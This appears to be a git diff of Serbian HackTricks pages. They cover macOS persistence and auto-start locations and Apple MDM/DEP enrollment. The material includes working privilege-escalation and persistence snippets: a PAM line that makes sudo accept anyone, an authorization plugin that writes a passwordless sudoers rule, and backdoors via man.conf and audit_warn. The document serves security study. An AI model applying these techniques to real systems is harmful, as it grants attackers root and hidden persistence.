Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||||
|
@ -1018,6 +1086,7 @@ Imajte na umu da zato što se unutar dozvola binarnog koda koji učitava ovaj ko
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Kod čuvara:
|
Kod čuvara:
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
//
|
//
|
||||||
// ScreenSaverExampleView.m
|
// ScreenSaverExampleView.m
|
||||||
|
@ -1083,6 +1152,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
||||||
|
|
||||||
@end
|
@end
|
||||||
```
|
```
|
||||||
|
|
||||||
### Spotlight Dodaci
|
### Spotlight Dodaci
|
||||||
|
|
||||||
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||||
|
@ -1116,6 +1186,7 @@ Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što ozn
|
||||||
Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nije potrebno ponovno pokretati bilo koju uslugu). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom.
|
Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nije potrebno ponovno pokretati bilo koju uslugu). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom.
|
||||||
|
|
||||||
Moguće je **pronaći sve `mdimportere`** koji su učitani pokretanjem:
|
Moguće je **pronaći sve `mdimportere`** koji su učitani pokretanjem:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mdimport -L
|
mdimport -L
|
||||||
Paths: id(501) (
|
Paths: id(501) (
|
||||||
|
@ -1124,7 +1195,9 @@ Paths: id(501) (
|
||||||
"/System/Library/Spotlight/PDF.mdimporter",
|
"/System/Library/Spotlight/PDF.mdimporter",
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
Na primer, **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` među ostalima):
|
Na primer, **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` među ostalima):
|
||||||
|
|
||||||
```json
|
```json
|
||||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||||
|
|
||||||
|
@ -1160,6 +1233,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||||
}
|
}
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Ako proverite Plist drugog `mdimporter`-a, možda nećete pronaći unos **`UTTypeConformsTo`**. To je zato što je to ugrađeni _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) i ne mora da specificira ekstenzije.
|
Ako proverite Plist drugog `mdimporter`-a, možda nećete pronaći unos **`UTTypeConformsTo`**. To je zato što je to ugrađeni _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) i ne mora da specificira ekstenzije.
|
||||||
|
|
||||||
|
@ -1254,12 +1328,14 @@ total 8
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Postoje i drugi periodični skriptovi koji će biti izvršeni, naznačeni u **`/etc/defaults/periodic.conf`**:
|
Postoje i drugi periodični skriptovi koji će biti izvršeni, naznačeni u **`/etc/defaults/periodic.conf`**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
grep "Local scripts" /etc/defaults/periodic.conf
|
grep "Local scripts" /etc/defaults/periodic.conf
|
||||||
daily_local="/etc/daily.local" # Local scripts
|
daily_local="/etc/daily.local" # Local scripts
|
||||||
weekly_local="/etc/weekly.local" # Local scripts
|
weekly_local="/etc/weekly.local" # Local scripts
|
||||||
monthly_local="/etc/monthly.local" # Local scripts
|
monthly_local="/etc/monthly.local" # Local scripts
|
||||||
```
|
```
|
||||||
|
|
||||||
Ako uspete da napišete bilo koji od fajlova `/etc/daily.local`, `/etc/weekly.local` ili `/etc/monthly.local` **biće izvršen ranije ili kasnije**.
|
Ako uspete da napišete bilo koji od fajlova `/etc/daily.local`, `/etc/weekly.local` ili `/etc/monthly.local` **biće izvršen ranije ili kasnije**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
|
@ -1284,16 +1360,21 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
|
||||||
Pošto je PAM više fokusiran na **upornost** i malver nego na lako izvršavanje unutar macOS-a, ovaj blog neće pružiti detaljno objašnjenje, **pročitajte writeup-ove da biste bolje razumeli ovu tehniku**.
|
Pošto je PAM više fokusiran na **upornost** i malver nego na lako izvršavanje unutar macOS-a, ovaj blog neće pružiti detaljno objašnjenje, **pročitajte writeup-ove da biste bolje razumeli ovu tehniku**.
|
||||||
|
|
||||||
Proverite PAM module sa:
|
Proverite PAM module sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls -l /etc/pam.d
|
ls -l /etc/pam.d
|
||||||
```
|
```
|
||||||
|
|
||||||
### Dodavanje zlonamernog modula PAM-a za održavanje postojanosti/escalaciju privilegija
|
### Dodavanje zlonamernog modula PAM-a za održavanje postojanosti/escalaciju privilegija
|
||||||
|
|
||||||
Tehnika održavanja postojanosti/escalacije privilegija zloupotrebom PAM-a je jednostavna kao što je modifikacija modula /etc/pam.d/sudo dodavanjem na početku linije:
|
Tehnika održavanja postojanosti/escalacije privilegija zloupotrebom PAM-a je jednostavna kao što je modifikacija modula /etc/pam.d/sudo dodavanjem na početku linije:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
auth sufficient pam_permit.so
|
auth sufficient pam_permit.so
|
||||||
```
|
```
|
||||||
|
|
||||||
Dakle, to će **izgledati** nešto ovako:
|
Dakle, to će **izgledati** nešto ovako:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# sudo: auth account password session
|
# sudo: auth account password session
|
||||||
auth sufficient pam_permit.so
|
auth sufficient pam_permit.so
|
||||||
|
@ -1304,6 +1385,7 @@ account required pam_permit.so
|
||||||
password required pam_deny.so
|
password required pam_deny.so
|
||||||
session required pam_permit.so
|
session required pam_permit.so
|
||||||
```
|
```
|
||||||
|
|
||||||
I zbog toga će svaki pokušaj korišćenja **`sudo` raditi**.
|
I zbog toga će svaki pokušaj korišćenja **`sudo` raditi**.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -1328,6 +1410,7 @@ Objašnjenje: [https://posts.specterops.io/persistent-credential-theft-with-auth
|
||||||
#### Opis & Eksploatacija
|
#### Opis & Eksploatacija
|
||||||
|
|
||||||
Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, pogledajte prethodna objašnjenja (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac iz režima oporavka).
|
Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, pogledajte prethodna objašnjenja (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac iz režima oporavka).
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
// Compile the code and create a real bundle
|
// Compile the code and create a real bundle
|
||||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||||
|
@ -1342,11 +1425,15 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
||||||
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
**Pomerite** paket na lokaciju sa koje će se učitati:
|
**Pomerite** paket na lokaciju sa koje će se učitati:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||||
```
|
```
|
||||||
|
|
||||||
Konačno dodajte **pravilo** za učitavanje ovog dodatka:
|
Konačno dodajte **pravilo** za učitavanje ovog dodatka:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat > /tmp/rule.plist <<EOF
|
cat > /tmp/rule.plist <<EOF
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
@ -1365,12 +1452,15 @@ EOF
|
||||||
|
|
||||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
**`evaluate-mechanisms`** će reći okviru autorizacije da će mu biti potrebno **pozvati spoljni mehanizam za autorizaciju**. Štaviše, **`privileged`** će ga učiniti izvršnim od strane root korisnika.
|
**`evaluate-mechanisms`** će reći okviru autorizacije da će mu biti potrebno **pozvati spoljni mehanizam za autorizaciju**. Štaviše, **`privileged`** će ga učiniti izvršnim od strane root korisnika.
|
||||||
|
|
||||||
Pokrenite ga sa:
|
Pokrenite ga sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
security authorize com.asdf.asdf
|
security authorize com.asdf.asdf
|
||||||
```
|
```
|
||||||
|
|
||||||
### Man.conf
|
### Man.conf
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
||||||
|
@ -1390,10 +1480,13 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
||||||
Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koju treba koristiti prilikom otvaranja fajlova sa man dokumentacijom. Dakle, putanja do izvršne datoteke može biti izmenjena tako da svaki put kada korisnik koristi man za čitanje neke dokumentacije, izvrši se zadnja vrata.
|
Konfiguracioni fajl **`/private/etc/man.conf`** pokazuje binarni/skriptu koju treba koristiti prilikom otvaranja fajlova sa man dokumentacijom. Dakle, putanja do izvršne datoteke može biti izmenjena tako da svaki put kada korisnik koristi man za čitanje neke dokumentacije, izvrši se zadnja vrata.
|
||||||
|
|
||||||
Na primer, postavite u **`/private/etc/man.conf`**:
|
Na primer, postavite u **`/private/etc/man.conf`**:
|
||||||
|
|
||||||
```
|
```
|
||||||
MANPAGER /tmp/view
|
MANPAGER /tmp/view
|
||||||
```
|
```
|
||||||
|
|
||||||
I zatim kreiraj `/tmp/view` kao:
|
I zatim kreiraj `/tmp/view` kao:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/zsh
|
#!/bin/zsh
|
||||||
|
|
||||||
|
@ -1401,6 +1494,7 @@ touch /tmp/manconf
|
||||||
|
|
||||||
/usr/bin/less -s
|
/usr/bin/less -s
|
||||||
```
|
```
|
||||||
|
|
||||||
### Apache2
|
### Apache2
|
||||||
|
|
||||||
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
**Opis**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||||
|
@ -1429,10 +1523,13 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
||||||
Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili morate **potpisati ga važećim Apple sertifikatom**, ili morate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** sa njim.
|
Na ovaj način će vaši kompajlirani moduli biti učitani od strane Apache servera. Jedina stvar je da ili morate **potpisati ga važećim Apple sertifikatom**, ili morate **dodati novi pouzdani sertifikat** u sistem i **potpisati ga** sa njim.
|
||||||
|
|
||||||
Zatim, ako je potrebno, da biste bili sigurni da će server biti pokrenut, možete izvršiti:
|
Zatim, ako je potrebno, da biste bili sigurni da će server biti pokrenut, možete izvršiti:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
|
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
Primer koda za Dylb:
|
Primer koda za Dylb:
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
|
@ -1444,6 +1541,7 @@ printf("[+] dylib constructor called from %s\n", argv[0]);
|
||||||
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### BSM audit framework
|
### BSM audit framework
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||||
|
@ -1461,9 +1559,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.
|
||||||
#### Opis & Eksploatacija
|
#### Opis & Eksploatacija
|
||||||
|
|
||||||
Svaki put kada auditd otkrije upozorenje, skripta **`/etc/security/audit_warn`** se **izvršava**. Dakle, možete dodati svoj payload na nju.
|
Svaki put kada auditd otkrije upozorenje, skripta **`/etc/security/audit_warn`** se **izvršava**. Dakle, možete dodati svoj payload na nju.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||||
```
|
```
|
||||||
|
|
||||||
### Lokacije automatskog pokretanja
|
### Lokacije automatskog pokretanja
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -1477,8 +1577,6 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||||
|
|
||||||
Proverite da su kako rc skript tako i fajl `StartupParameters.plist` pravilno smešteni unutar direktorijuma **StartupItem** kako bi proces pokretanja mogao da ih prepozna i koristi.
|
Proverite da su kako rc skript tako i fajl `StartupParameters.plist` pravilno smešteni unutar direktorijuma **StartupItem** kako bi proces pokretanja mogao da ih prepozna i koristi.
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="StartupParameters.plist" %}
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -1495,9 +1593,8 @@ Proverite da su kako rc skript tako i fajl `StartupParameters.plist` pravilno sm
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="superservicename" %}
|
|
||||||
|
|
||||||
### Lokacije automatskog pokretanja na macOS-u
|
### Lokacije automatskog pokretanja na macOS-u
|
||||||
|
|
||||||
|
@ -1508,6 +1605,7 @@ Na macOS-u, postoji nekoliko lokacija gde se aplikacije mogu postaviti da se aut
|
||||||
3. **StartupItems**: Ova zastarela lokacija se koristila u starijim verzijama macOS-a i sadrži skripte koje se pokreću prilikom pokretanja sistema.
|
3. **StartupItems**: Ova zastarela lokacija se koristila u starijim verzijama macOS-a i sadrži skripte koje se pokreću prilikom pokretanja sistema.
|
||||||
|
|
||||||
Provera ovih lokacija može biti korisna za otkrivanje potencijalno zlonamernih aplikacija koje pokušavaju da se automatski pokrenu prilikom pokretanja sistema.
|
Provera ovih lokacija može biti korisna za otkrivanje potencijalno zlonamernih aplikacija koje pokušavaju da se automatski pokrenu prilikom pokretanja sistema.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
. /etc/rc.common
|
. /etc/rc.common
|
||||||
|
@ -1526,6 +1624,7 @@ echo "Restarting"
|
||||||
|
|
||||||
RunService "$1"
|
RunService "$1"
|
||||||
```
|
```
|
||||||
|
|
||||||
### ~~emond~~
|
### ~~emond~~
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -1537,9 +1636,11 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevi
|
||||||
**emond** je mehanizam za beleženje koji je uveden od strane Apple-a, a koji se čini nedovoljno razvijenim ili možda napuštenim, ali i dalje je dostupan. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora.
|
**emond** je mehanizam za beleženje koji je uveden od strane Apple-a, a koji se čini nedovoljno razvijenim ili možda napuštenim, ali i dalje je dostupan. Iako nije posebno koristan za administratora Mac računara, ovaj skriveni servis može poslužiti kao suptilan metod upornosti za napadače, verovatno neprimećen od većine macOS administratora.
|
||||||
|
|
||||||
Za one koji su svesni njegovog postojanja, identifikacija bilo kakve zlonamerne upotrebe **emond**-a je jednostavna. LaunchDaemon sistema za ovaj servis traži skripte za izvršenje u jednom direktorijumu. Da biste to proverili, može se koristiti sledeća komanda:
|
Za one koji su svesni njegovog postojanja, identifikacija bilo kakve zlonamerne upotrebe **emond**-a je jednostavna. LaunchDaemon sistema za ovaj servis traži skripte za izvršenje u jednom direktorijumu. Da biste to proverili, može se koristiti sledeća komanda:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ls -l /private/var/db/emondClients
|
ls -l /private/var/db/emondClients
|
||||||
```
|
```
|
||||||
|
|
||||||
### ~~XQuartz~~
|
### ~~XQuartz~~
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||||
|
@ -1570,6 +1671,7 @@ Da biste instalirali KEXT kao stavku za pokretanje, potrebno je da bude **instal
|
||||||
* KEXT fajlovi instalirani od strane softvera trećih lica
|
* KEXT fajlovi instalirani od strane softvera trećih lica
|
||||||
|
|
||||||
Možete prikazati trenutno učitane kext fajlove sa:
|
Možete prikazati trenutno učitane kext fajlove sa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
kextstat #List loaded kext
|
kextstat #List loaded kext
|
||||||
kextload /path/to/kext.kext #Load a new one based on path
|
kextload /path/to/kext.kext #Load a new one based on path
|
||||||
|
@ -1577,6 +1679,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
||||||
kextunload /path/to/kext.kext
|
kextunload /path/to/kext.kext
|
||||||
kextunload -b com.apple.driver.ExampleBundle
|
kextunload -b com.apple.driver.ExampleBundle
|
||||||
```
|
```
|
||||||
|
|
||||||
Za više informacija o [**kernel ekstenzijama pogledajte ovu sekciju**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
Za više informacija o [**kernel ekstenzijama pogledajte ovu sekciju**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||||
|
|
||||||
### ~~amstoold~~
|
### ~~amstoold~~
|
||||||
|
@ -1615,6 +1718,7 @@ Navodno nije vrlo često pokretati ovaj skript i čak ga nisam mogao pronaći na
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Takođe je moguće ovde postaviti **komande koje će biti izvršene pri pokretanju sistema.** Primer redovnog rc.common skripta:
|
Takođe je moguće ovde postaviti **komande koje će biti izvršene pri pokretanju sistema.** Primer redovnog rc.common skripta:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#
|
#
|
||||||
# Common setup for startup scripts.
|
# Common setup for startup scripts.
|
||||||
|
@ -1707,6 +1811,7 @@ restart) RestartService ;;
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Tehnike i alati za postojanost
|
## Tehnike i alati za postojanost
|
||||||
|
|
||||||
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
|
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
|
||||||
|
|
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -22,20 +22,23 @@ Drugi načini podrške HackTricks-u:
|
||||||
## Osnove
|
## Osnove
|
||||||
|
|
||||||
### **Pregled MDM (Mobile Device Management)**
|
### **Pregled MDM (Mobile Device Management)**
|
||||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) se koristi za upravljanje različitim uređajima krajnjih korisnika kao što su pametni telefoni, prenosni računari i tableti. Posebno za Apple platforme (iOS, macOS, tvOS), uključuje set specijalizovanih funkcija, API-ja i praksi. Funkcionisanje MDM-a zavisi od kompatibilnog MDM servera, koji može biti komercijalno dostupan ili open-source, i mora podržavati [MDM protokol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Ključni elementi uključuju:
|
|
||||||
|
|
||||||
- Centralizovana kontrola nad uređajima.
|
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) se koristi za upravljanje različitim uređajima krajnjih korisnika kao što su pametni telefoni, prenosni računari i tableti. Posebno za Apple platforme (iOS, macOS, tvOS), uključuje set specijalizovanih funkcija, API-ja i praksi. Funkcionisanje MDM-a zavisi od kompatibilnog MDM servera, koji može biti komercijalno dostupan ili open-source, i mora podržavati [MDM protokol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Ključni elementi uključuju:
|
||||||
- Zavisnost od MDM servera koji se pridržava MDM protokola.
|
|
||||||
- Mogućnost MDM servera da šalje različite komande uređajima, na primer, daljinsko brisanje podataka ili instalacija konfiguracije.
|
* Centralizovana kontrola nad uređajima.
|
||||||
|
* Zavisnost od MDM servera koji se pridržava MDM protokola.
|
||||||
|
* Mogućnost MDM servera da šalje različite komande uređajima, na primer, daljinsko brisanje podataka ili instalacija konfiguracije.
|
||||||
|
|
||||||
### **Osnove DEP (Device Enrollment Program)**
|
### **Osnove DEP (Device Enrollment Program)**
|
||||||
[Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) koji nudi Apple olakšava integraciju Mobile Device Management (MDM) omogućavajući konfiguraciju bez dodira za iOS, macOS i tvOS uređaje. DEP automatizuje proces registracije, omogućavajući uređajima da budu operativni odmah po izlasku iz kutije, sa minimalnom intervencijom korisnika ili administratora. Ključni aspekti uključuju:
|
|
||||||
|
|
||||||
- Omogućava uređajima da se automatski registruju kod predefinisanog MDM servera prilikom prvog aktiviranja.
|
[Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) koji nudi Apple olakšava integraciju Mobile Device Management (MDM) omogućavajući konfiguraciju bez dodira za iOS, macOS i tvOS uređaje. DEP automatizuje proces registracije, omogućavajući uređajima da budu operativni odmah po izlasku iz kutije, sa minimalnom intervencijom korisnika ili administratora. Ključni aspekti uključuju:
|
||||||
- Pretežno korisno za potpuno nove uređaje, ali se takođe može primeniti i na uređaje koji se ponovno konfigurišu.
|
|
||||||
- Olakšava jednostavnu instalaciju, čime se uređaji brzo pripremaju za organizacionu upotrebu.
|
* Omogućava uređajima da se automatski registruju kod predefinisanog MDM servera prilikom prvog aktiviranja.
|
||||||
|
* Pretežno korisno za potpuno nove uređaje, ali se takođe može primeniti i na uređaje koji se ponovno konfigurišu.
|
||||||
|
* Olakšava jednostavnu instalaciju, čime se uređaji brzo pripremaju za organizacionu upotrebu.
|
||||||
|
|
||||||
### **Bezbednosno razmatranje**
|
### **Bezbednosno razmatranje**
|
||||||
|
|
||||||
Važno je napomenuti da, iako je olakšana registracija putem DEP-a korisna, može predstavljati i bezbednosne rizike. Ako se ne primenjuju adekvatne zaštitne mere prilikom registracije putem MDM-a, napadači mogu iskoristiti ovaj pojednostavljeni proces da registruju svoj uređaj na MDM serveru organizacije, predstavljajući se kao korporativni uređaj.
|
Važno je napomenuti da, iako je olakšana registracija putem DEP-a korisna, može predstavljati i bezbednosne rizike. Ako se ne primenjuju adekvatne zaštitne mere prilikom registracije putem MDM-a, napadači mogu iskoristiti ovaj pojednostavljeni proces da registruju svoj uređaj na MDM serveru organizacije, predstavljajući se kao korporativni uređaj.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -89,7 +92,10 @@ Apple uređaji proizvedeni posle 2010. godine obično imaju **12-znakovne alfanu
|
||||||
|
|
||||||
{% content-ref url="macos-serial-number.md" %}
|
{% content-ref url="macos-serial-number.md" %}
|
||||||
[macos-serial-number.md](macos-serial-number.md)
|
[macos-serial-number.md](macos-serial-number.md)
|
||||||
{% endcontent-ref
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
[macos-serial-number.md](macos-serial-number.md) \{% endcontent-ref
|
||||||
|
|
||||||
### Korak 4: Provera DEP registracije - Dobijanje aktivacionog zapisa
|
### Korak 4: Provera DEP registracije - Dobijanje aktivacionog zapisa
|
||||||
|
|
||||||
Ovaj deo procesa se odvija kada **korisnik prvi put pokrene Mac** (ili nakon potpunog brisanja)
|
Ovaj deo procesa se odvija kada **korisnik prvi put pokrene Mac** (ili nakon potpunog brisanja)
|
||||||
|
@ -108,16 +114,16 @@ ili kada se izvrši `sudo profiles show -type enrollment`
|
||||||
Sledi nekoliko koraka za dobijanje aktivacionog zapisa koji se izvodi pomoću **`MCTeslaConfigurationFetcher`**. Ovaj proces koristi enkripciju nazvanu **Absinthe**
|
Sledi nekoliko koraka za dobijanje aktivacionog zapisa koji se izvodi pomoću **`MCTeslaConfigurationFetcher`**. Ovaj proces koristi enkripciju nazvanu **Absinthe**
|
||||||
|
|
||||||
1. Preuzimanje **sertifikata**
|
1. Preuzimanje **sertifikata**
|
||||||
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
2. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
|
||||||
2. **Inicijalizacija** stanja iz sertifikata (**`NACInit`**)
|
3. **Inicijalizacija** stanja iz sertifikata (**`NACInit`**)
|
||||||
1. Koristi različite podatke specifične za uređaj (npr. **serijski broj putem `IOKit`**)
|
4. Koristi različite podatke specifične za uređaj (npr. **serijski broj putem `IOKit`**)
|
||||||
3. Preuzimanje **sesijskog ključa**
|
5. Preuzimanje **sesijskog ključa**
|
||||||
